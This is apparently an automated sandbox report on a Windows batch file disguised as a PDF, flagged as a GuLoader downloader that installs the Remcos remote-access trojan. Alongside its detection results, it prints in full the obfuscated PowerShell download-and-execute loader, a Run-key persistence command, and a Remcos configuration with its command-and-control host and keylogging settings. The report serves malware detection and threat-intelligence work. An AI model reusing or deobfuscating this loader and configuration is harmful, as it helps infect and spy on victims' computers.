Edit tour

Windows Analysis Report
Alior,pdf.bat

Overview

General Information

Sample name:	Alior,pdf.bat
Analysis ID:	1643269
MD5:	cfd71e45c097038100763c352a1e4bbb
SHA1:	d24ce3511c8e0d34797535e4c06d54304a063e6b
SHA256:	d9aa38cd99865a34134cce64676db7fea4a4a37b48596a8d7e694c0b847d6a48
Tags:	batuser-TeamDreier
Infos:

Detection

Remcos, GuLoader

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected Remcos RAT

Early bird code injection technique detected

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Remcos

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected Powershell download and execute

Yara detected Remcos RAT

C2 URLs / IPs found in malware configuration

Connects to many ports of the same IP (likely port scanning)

Found suspicious powershell code related to unpacking or dynamic code loading

Hides threads from debuggers

Joe Sandbox ML detected suspicious sample

Queues an APC in another process (thread injection)

Suspicious powershell command line found

Uses dynamic DNS services

Writes to foreign memory regions

Abnormal high CPU Usage

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Direct Autorun Keys Modification

Sigma detected: Msiexec Initiated Connection

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Sleep loop found (likely to delay execution)

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

cmd.exe (PID: 6200 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Alior,pdf.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6392 cmdline: powershell.exe -windowstyle hidden "Get-Service;$Bjrgningsfartjet='func';Get-History;$Bjrgningsfartjet+='t';Get-History;$Bjrgningsfartjet+='ion:';(ni -p $Bjrgningsfartjet -n Slede -value { param($Monastically);$Asherah229=1;do {$Specifikationsmetodikker+=$Monastically[$Asherah229];$Asherah229+=2} until(!$Monastically[$Asherah229])$Specifikationsmetodikker});ConvertTo-Html;(ni -p $Bjrgningsfartjet -n Studiefagets -value {param($Variabelerklringers);.($kvalt) ($Variabelerklringers)});ConvertTo-Html;$Sternocleidomastoid=Slede 'gnBE TH.NW';$Sternocleidomastoid+=Slede 'PE BPC LQiGe.N T';$bogklubbgers=Slede ' MNoszki lBlMa /';$Bottomers8=Slede 'VT,l s 1 2';$Fendillation=' [ nSe TU.SS EErtvSi c,E P O.i N.t mTaIn a.GBeBR.] : :GS EAC u r,I t Y p r OPTTO CDoClS= $ BPo TNtWO,m E.RSS 8';$bogklubbgers+=Slede ' 5C..0. S( W i n d,o wBsR NIT .1 0U..0.; UW ionC6F4V;S NxO6,4 ;K rPvF: 1T3P4.. 0A)D G eMc k.oM/,2R0A1,0 0,1 0E1 LFOi.rDe f oTx / 1,3P4u. 0';$Postventral=Slede 'SUAS E R -SaCg.E,NEt';$Spunshul=Slede 'IhStgt pa:L/D/Du dPiNrDeA. wEe,b pKg,.,i tR/ H,alr.mPognMi k a ejr nNe.. mAi x';$Putidness=Slede 'R>';$kvalt=Slede ' iUE.x';$Fluesnapperes='Opnaaende';$Undarkened='\Rdkindedes90.Par';Studiefagets (Slede ' $Dg.lSO.b,a.Ld:HD a TUa B EShUa NTDOlUeDS =k$ EAnAvN:MA PsP dDA Tea + $RuPn D AIrDKSE N ESd');Studiefagets (Slede 'S$Sg,l oABGa lB:,b o D e l S 1K0 3N=A$ sUP u.nMS.H u L,..s pBL IOt (S$ pCUGtUIVDpNKe s s,)');Studiefagets (Slede $Fendillation);$Spunshul=$Bodels103[0];$Perosmic=(Slede ' $pG.lOo bOA LB:MD i.F,tEEUR.INsA= nBEUwD-.o bRj,E cktF sTyLSNtVe mH.O$,S tFE,R,nSoSCFlnE ITd O M A s tIO I D');Studiefagets ($Perosmic);Studiefagets (Slede ' $ DBi fPtSe rIiPs .MH e aTd e rFs,[B$ ProdsAt v.eSnPt rSa lS] =A$ b o,gTkAl u.bfb gFeDrHs');$Storefronts=Slede ' $SDJi.fpt e r i s,..DsoBwAnSlToBa d FTi,lSe ( $KS p.uEnKsTh u l , $SD eDnui e rIeFn,sS)';$Denierens=$Databehandles;Studiefagets (Slede ' $MG.LJo BBaSlM:IGHrDAEfHi k.s ySsDt e m E t =O( TfE S t -APFa T HA A$,D e NFiDEPRCeSNMs )');while (!$Grafiksystemet) {Studiefagets (Slede 'B$IgPl o bRa lS:SU nSf a iSlGa bSlDy = $ SktCi nHkRe,t') ;Studiefagets $Storefronts;Studiefagets (Slede 'a[,t H r E asdSiPnNGS. T H R E a,d ] : :osAlTeSeSpV( 4T0 0P0 )');Studiefagets (Slede ' $ gvlIoEBEanL :,gDrFACfsiMK sDywS,T e,m eUTB=,( t E s TO-WPTa t HT O$ d E.NBI,EHr efNSS )') ;Studiefagets (Slede 'P$ gFlAo bAa lP:WPHE r I.p.nFE u MAOBn ISaS=U$EgOL.o b a lS:Np OHSRT NDaPt.a LRl y + + %S$ bHO dPe lDs.1b0D3 .JCUoDurNST') ;$Spunshul=$Bodels103[$Peripneumonia]}$Transcenderende=329225;$Ultrastructurally=28193;Studiefagets (Slede ' $ G.lAO bIa.l : FUE.MHEDt A gMe,rSS HDU s e sR P=C BG eITT-GCOo nKTBe n.TS B$DdDe,N ISEHrSEPNKs');Studiefagets (Slede '.$Sg.lSo bVaMl :FsStSeSgWe p aMnUd ePr n e sS = ,[ISByUsIt e m . C,o n.v eIr t.]D: :VFAraoVmMBKaGs ef6P4 S tRrDi.nTg ( $bFTedmSeDt,aRg e r sKh u saeAs,)');Studiefagets (Slede 'S$Kg LHo B a lS:AHdA VAe A BCLSEN O=F M[ S.y SetaeAM ..tAe xFT .REMnBcUO dTI n GS]L:C:Ha S,C i IA.BGDePT,SStDrGi n GR(.$ sFTTe gOE PRABn dFE rCNOE s )');Studiefagets (Slede ' $SgPlEOHB A lm:BRBAPa.D IRg H e d s b E.LVBR=,$VHAA V eFAmb,L e .DSLu b s TSrTiMnOg ( $ITBRSA nas CLeBN,d EGr,EDN DCeR, $PUcLAt.r,aRS.t RRU CITNu,r a,lOLMy )');Studiefagets $Raadighedsbelb;" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6948 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Bjrgningsfartjet='func';Get-History;$Bjrgningsfartjet+='t';Get-History;$Bjrgningsfartjet+='ion:';(ni -p $Bjrgningsfartjet -n Slede -value { param($Monastically);$Asherah229=1;do {$Specifikationsmetodikker+=$Monastically[$Asherah229];$Asherah229+=2} until(!$Monastically[$Asherah229])$Specifikationsmetodikker});ConvertTo-Html;(ni -p $Bjrgningsfartjet -n Studiefagets -value {param($Variabelerklringers);.($kvalt) ($Variabelerklringers)});ConvertTo-Html;$Sternocleidomastoid=Slede 'gnBE TH.NW';$Sternocleidomastoid+=Slede 'PE BPC LQiGe.N T';$bogklubbgers=Slede ' MNoszki lBlMa /';$Bottomers8=Slede 'VT,l s 1 2';$Fendillation=' [ nSe TU.SS EErtvSi c,E P O.i N.t mTaIn a.GBeBR.] : :GS EAC u r,I t Y p r OPTTO CDoClS= $ BPo TNtWO,m E.RSS 8';$bogklubbgers+=Slede ' 5C..0. S( W i n d,o wBsR NIT .1 0U..0.; UW ionC6F4V;S NxO6,4 ;K rPvF: 1T3P4.. 0A)D G eMc k.oM/,2R0A1,0 0,1 0E1 LFOi.rDe f oTx / 1,3P4u. 0';$Postventral=Slede 'SUAS E R -SaCg.E,NEt';$Spunshul=Slede 'IhStgt pa:L/D/Du dPiNrDeA. wEe,b pKg,.,i tR/ H,alr.mPognMi k a ejr nNe.. mAi x';$Putidness=Slede 'R>';$kvalt=Slede ' iUE.x';$Fluesnapperes='Opnaaende';$Undarkened='\Rdkindedes90.Par';Studiefagets (Slede ' $Dg.lSO.b,a.Ld:HD a TUa B EShUa NTDOlUeDS =k$ EAnAvN:MA PsP dDA Tea + $RuPn D AIrDKSE N ESd');Studiefagets (Slede 'S$Sg,l oABGa lB:,b o D e l S 1K0 3N=A$ sUP u.nMS.H u L,..s pBL IOt (S$ pCUGtUIVDpNKe s s,)');Studiefagets (Slede $Fendillation);$Spunshul=$Bodels103[0];$Perosmic=(Slede ' $pG.lOo bOA LB:MD i.F,tEEUR.INsA= nBEUwD-.o bRj,E cktF sTyLSNtVe mH.O$,S tFE,R,nSoSCFlnE ITd O M A s tIO I D');Studiefagets ($Perosmic);Studiefagets (Slede ' $ DBi fPtSe rIiPs .MH e aTd e rFs,[B$ ProdsAt v.eSnPt rSa lS] =A$ b o,gTkAl u.bfb gFeDrHs');$Storefronts=Slede ' $SDJi.fpt e r i s,..DsoBwAnSlToBa d FTi,lSe ( $KS p.uEnKsTh u l , $SD eDnui e rIeFn,sS)';$Denierens=$Databehandles;Studiefagets (Slede ' $MG.LJo BBaSlM:IGHrDAEfHi k.s ySsDt e m E t =O( TfE S t -APFa T HA A$,D e NFiDEPRCeSNMs )');while (!$Grafiksystemet) {Studiefagets (Slede 'B$IgPl o bRa lS:SU nSf a iSlGa bSlDy = $ SktCi nHkRe,t') ;Studiefagets $Storefronts;Studiefagets (Slede 'a[,t H r E asdSiPnNGS. T H R E a,d ] : :osAlTeSeSpV( 4T0 0P0 )');Studiefagets (Slede ' $ gvlIoEBEanL :,gDrFACfsiMK sDywS,T e,m eUTB=,( t E s TO-WPTa t HT O$ d E.NBI,EHr efNSS )') ;Studiefagets (Slede 'P$ gFlAo bAa lP:WPHE r I.p.nFE u MAOBn ISaS=U$EgOL.o b a lS:Np OHSRT NDaPt.a LRl y + + %S$ bHO dPe lDs.1b0D3 .JCUoDurNST') ;$Spunshul=$Bodels103[$Peripneumonia]}$Transcenderende=329225;$Ultrastructurally=28193;Studiefagets (Slede ' $ G.lAO bIa.l : FUE.MHEDt A gMe,rSS HDU s e sR P=C BG eITT-GCOo nKTBe n.TS B$DdDe,N ISEHrSEPNKs');Studiefagets (Slede '.$Sg.lSo bVaMl :FsStSeSgWe p aMnUd ePr n e sS = ,[ISByUsIt e m . C,o n.v eIr t.]D: :VFAraoVmMBKaGs ef6P4 S tRrDi.nTg ( $bFTedmSeDt,aRg e r sKh u saeAs,)');Studiefagets (Slede 'S$Kg LHo B a lS:AHdA VAe A BCLSEN O=F M[ S.y SetaeAM ..tAe xFT .REMnBcUO dTI n GS]L:C:Ha S,C i IA.BGDePT,SStDrGi n GR(.$ sFTTe gOE PRABn dFE rCNOE s )');Studiefagets (Slede ' $SgPlEOHB A lm:BRBAPa.D IRg H e d s b E.LVBR=,$VHAA V eFAmb,L e .DSLu b s TSrTiMnOg ( $ITBRSA nas CLeBN,d EGr,EDN DCeR, $PUcLAt.r,aRS.t RRU CITNu,r a,lOLMy )');Studiefagets $Raadighedsbelb;" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 6560 cmdline: "C:\Windows\SysWOW64\msiexec.exe" MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 1532 cmdline: "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Sorbed" /t REG_EXPAND_SZ /d "%Dalsnkningens% -windowstyle 1 $knobets=(gi 'HKCU:\Software\Nskeligeres117\').GetValue('Nskebarn');%Dalsnkningens% ($knobets)" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 1640 cmdline: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Sorbed" /t REG_EXPAND_SZ /d "%Dalsnkningens% -windowstyle 1 $knobets=(gi 'HKCU:\Software\Nskeligeres117\').GetValue('Nskebarn');%Dalsnkningens% ($knobets)" MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

svchost.exe (PID: 6996 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Remcos, RemcosRAT	Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.	APT33 The Gorgon Group UAC-0050	http://malware-traffic-analysis.net/2017/12/22/index.html https://0xmrmagnezi.github.io/malware%20analysis/RemcosRAT/ https://asec.ahnlab.com/en/32376/ https://asec.ahnlab.com/ko/25837/ https://asec.ahnlab.com/ko/32101/	https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": ["idonetire.duckdns.org:52190:1"], "Assigned name": "NewRem", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-LSHWWC", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\remcos\logs.dat	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000E.00000002.3380138371.0000000008B46000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000E.00000002.3380138371.0000000008ACA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000E.00000002.3380138371.0000000008B2D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000002.1878451425.0000000009FDE000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: powershell.exe PID: 6392	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 6392	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x8644c:$b2: ::FromBase64String( 0x12de6f:$b2: ::FromBase64String( 0x12dead:$b2: ::FromBase64String( 0x12deec:$b2: ::FromBase64String( 0x12df2c:$b2: ::FromBase64String( 0x12df6d:$b2: ::FromBase64String( 0x12dfaf:$b2: ::FromBase64String( 0x12dff2:$b2: ::FromBase64String( 0x12e036:$b2: ::FromBase64String( 0x12e07b:$b2: ::FromBase64String( 0x12e0c1:$b2: ::FromBase64String( 0x12e108:$b2: ::FromBase64String( 0x12e150:$b2: ::FromBase64String( 0x12e199:$b2: ::FromBase64String( 0x12e1e3:$b2: ::FromBase64String( 0x12e22e:$b2: ::FromBase64String( 0x12e27a:$b2: ::FromBase64String( 0x12e2c7:$b2: ::FromBase64String( 0x12e315:$b2: ::FromBase64String( 0x76da7:$s1: -join 0x8392b:$s1: -join
Process Memory Space: powershell.exe PID: 6948	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 6948	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1ea751:$b2: ::FromBase64String( 0x1e4751:$s1: -join 0x294d69:$s1: -join 0x297175:$s1: -join 0x3a1f69:$s1: -join 0x3af03e:$s1: -join 0x3b2410:$s1: -join 0x3b2ac2:$s1: -join 0x3b45b3:$s1: -join 0x3b67b9:$s1: -join 0x3b6fe0:$s1: -join 0x3b7850:$s1: -join 0x3b7f8b:$s1: -join 0x3b7fbd:$s1: -join 0x3b8005:$s1: -join 0x3b8024:$s1: -join 0x3b8874:$s1: -join 0x3b89f0:$s1: -join 0x3b8a68:$s1: -join 0x3b8afb:$s1: -join 0x3b8d61:$s1: -join
Process Memory Space: msiexec.exe PID: 6560	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Click to see the 4 entries

Other

Source	Rule	Description	Author	Strings
amsi64_6392.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi32_6948.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xbfdb:$b2: ::FromBase64String( 0xb9f9:$s1: -join 0x51a5:$s4: += 0x5267:$s4: += 0x948e:$s4: += 0xb5ab:$s4: += 0xb895:$s4: += 0xb9db:$s4: += 0x14803:$s4: += 0x14883:$s4: += 0x14949:$s4: += 0x149c9:$s4: += 0x14b9f:$s4: += 0x14c23:$s4: += 0x2c1b:$e4: Get-WmiObject 0x2e0a:$e4: Get-Process 0x2e62:$e4: Start-Process 0x154b1:$e4: Get-Process

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: %Dalsnkningens% -windowstyle 1 $knobets=(gi 'HKCU:\Software\Nskeligeres117\').GetValue('Nskebarn');%Dalsnkningens% ($knobets), EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\reg.exe, ProcessId: 1640, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Sorbed

Sigma detected: Direct Autorun Keys Modification

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Sorbed" /t REG_EXPAND_SZ /d "%Dalsnkningens% -windowstyle 1 $knobets=(gi 'HKCU:\Software\Nskeligeres117\').GetValue('Nskebarn');%Dalsnkningens% ($knobets)", CommandLine: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Sorbed" /t REG_EXPAND_SZ /d "%Dalsnkningens% -windowstyle 1 $knobets=(gi 'HKCU:\Software\Nskeligeres117\').GetValue('Nskebarn');%Dalsnkningens% ($knobets)", CommandLine|base64offset|contains: DA, Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Sorbed" /t REG_EXPAND_SZ /d "%Dalsnkningens% -windowstyle 1 $knobets=(gi 'HKCU:\Software\Nskeligeres117\').GetValue('Nskebarn');%Dalsnkningens% ($knobets)", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 1532, ParentProcessName: cmd.exe, ProcessCommandLine: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Sorbed" /t REG_EXPAND_SZ /d "%Dalsnkningens% -windowstyle 1 $knobets=(gi 'HKCU:\Software\Nskeligeres117\').GetValue('Nskebarn');%Dalsnkningens% ($knobets)", ProcessId: 1640, ProcessName: reg.exe

Sigma detected: Msiexec Initiated Connection

Source: Network Connection

Author: frack113: Data: DesusertionIp: 148.251.230.92, DesusertionIsIpv6: false, DesusertionPort: 80, EventID: 3, Image: C:\Windows\SysWOW64\msiexec.exe, Initiated: true, ProcessId: 6560, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49695

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Sorbed" /t REG_EXPAND_SZ /d "%Dalsnkningens% -windowstyle 1 $knobets=(gi 'HKCU:\Software\Nskeligeres117\').GetValue('Nskebarn');%Dalsnkningens% ($knobets)", CommandLine: "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Sorbed" /t REG_EXPAND_SZ /d "%Dalsnkningens% -windowstyle 1 $knobets=(gi 'HKCU:\Software\Nskeligeres117\').GetValue('Nskebarn');%Dalsnkningens% ($knobets)", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\SysWOW64\msiexec.exe", ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 6560, ParentProcessName: msiexec.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Sorbed" /t REG_EXPAND_SZ /d "%Dalsnkningens% -windowstyle 1 $knobets=(gi 'HKCU:\Software\Nskeligeres117\').GetValue('Nskebarn');%Dalsnkningens% ($knobets)", ProcessId: 1532, ProcessName: cmd.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -windowstyle hidden "Get-Service;$Bjrgningsfartjet='func';Get-History;$Bjrgningsfartjet+='t';Get-History;$Bjrgningsfartjet+='ion:';(ni -p $Bjrgningsfartjet -n Slede -value { param($Monastically);$Asherah229=1;do {$Specifikationsmetodikker+=$Monastically[$Asherah229];$Asherah229+=2} until(!$Monastically[$Asherah229])$Specifikationsmetodikker});ConvertTo-Html;(ni -p $Bjrgningsfartjet -n Studiefagets -value {param($Variabelerklringers);.($kvalt) ($Variabelerklringers)});ConvertTo-Html;$Sternocleidomastoid=Slede 'gnBE TH.NW';$Sternocleidomastoid+=Slede 'PE BPC LQiGe.N T';$bogklubbgers=Slede ' MNoszki lBlMa /';$Bottomers8=Slede 'VT,l s 1 2';$Fendillation=' [ nSe TU.SS EErtvSi c,E P O.i N.t mTaIn a.GBeBR.] : :GS EAC u r,I t Y p r OPTTO CDoClS= $ BPo TNtWO,m E.RSS 8';$bogklubbgers+=Slede ' 5C..0. S( W i n d,o wBsR NIT .1 0U..0.; UW ionC6F4V;S NxO6,4 ;K rPvF: 1T3P4.. 0A)D G eMc k.oM/,2R0A1,0 0,1 0E1 LFOi.rDe f oTx / 1,3P4u. 0';$Postventral=Slede 'SUAS E R -SaCg.E,NEt';$Spunshul=Slede 'IhStgt pa:L/D/Du dPiNrDeA. wEe,b pKg,.,i tR/ H,alr.mPognMi k a ejr nNe.. mAi x';$Putidness=Slede 'R>';$kvalt=Slede ' iUE.x';$Fluesnapperes='Opnaaende';$Undarkened='\Rdkindedes90.Par';Studiefagets (Slede ' $Dg.lSO.b,a.Ld:HD a TUa B EShUa NTDOlUeDS =k$ EAnAvN:MA PsP dDA Tea + $RuPn D AIrDKSE N ESd');Studiefagets (Slede 'S$Sg,l oABGa lB:,b o D e l S 1K0 3N=A$ sUP u.nMS.H u L,..s pBL IOt (S$ pCUGtUIVDpNKe s s,)');Studiefagets (Slede $Fendillation);$Spunshul=$Bodels103[0];$Perosmic=(Slede ' $pG.lOo bOA LB:MD i.F,tEEUR.INsA= nBEUwD-.o bRj,E cktF sTyLSNtVe mH.O$,S tFE,R,nSoSCFlnE ITd O M A s tIO I D');Studiefagets ($Perosmic);Studiefagets (Slede ' $ DBi fPtSe rIiPs .MH e aTd e rFs,[B$ ProdsAt v.eSnPt rSa lS] =A$ b o,gTkAl u.bfb gFeDrHs');$Storefronts=Slede ' $SDJi.fpt e r i s,..DsoBwAnSlToBa d FTi,lSe ( $KS p.uEnKsTh u l , $SD eDnui e rIeFn,sS)';$Denierens=$Databehandles;Studiefagets (Slede ' $MG.LJo BBaSlM:IGHrDAEfHi k.s ySsDt e m E t =O( TfE S t -APFa T HA A$,D e NFiDEPRCeSNMs )');while (!$Grafiksystemet) {Studiefagets (Slede 'B$IgPl o bRa lS:SU nSf a iSlGa bSlDy = $ SktCi nHkRe,t') ;Studiefagets $Storefronts;Studiefagets (Slede 'a[,t H r E asdSiPnNGS. T H R E a,d ] : :osAlTeSeSpV( 4T0 0P0 )');Studiefagets (Slede ' $ gvlIoEBEanL :,gDrFACfsiMK sDywS,T e,m eUTB=,( t E s TO-WPTa t HT O$ d E.NBI,EHr efNSS )') ;Studiefagets (Slede 'P$ gFlAo bAa lP:WPHE r I.p.nFE u MAOBn ISaS=U$EgOL.o b a lS:Np OHSRT NDaPt.a LRl y + + %S$ bHO dPe lDs.1b0D3 .JCUoDurNST') ;$Spunshul=$Bodels103[$Peripneumonia]}$Transcenderende=329225;$Ultrastructurally=28193;Studiefagets (Slede ' $ G.lAO bIa.l : FUE.MHEDt A gMe,rSS HDU s e sR P=C BG eITT-GCOo nKTBe n.TS B$DdDe,N ISEHrSEPNKs');Studiefagets (Slede '.$Sg.lSo bVaMl :FsStSeSgWe p aMnUd ePr n e sS = ,[ISByUsIt e m . C,o n.v eIr t.]D: :VFAraoVmMBKaGs ef6P4 S tRrDi.nTg ( $bFTedmSeDt,aRg e r sKh u saeAs,)');Studiefagets (Slede 'S$Kg LHo B a lS:AHdA VAe A BCLSEN O=F M[ S.y SetaeAM ..tAe xFT .REMnBcUO dTI n GS]L:C:Ha S,C i IA.BGDePT,SS

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 616, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6996, ProcessName: svchost.exe

Stealing of Sensitive Information

Sigma detected: Remcos

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\msiexec.exe, ProcessId: 6560, TargetFilename: C:\ProgramData\remcos\logs.dat

Suricata Signatures

ET JA3 Hash - Remcos 3.x/4.x TLS Connection

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-19T17:49:15.720064+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.9	49696	94.198.96.166	52190	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-19T17:49:18.797902+0100	2803304	3	Unknown Traffic	192.168.2.9	49697	178.237.33.50	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-19T17:49:11.037117+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49695	148.251.230.92	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

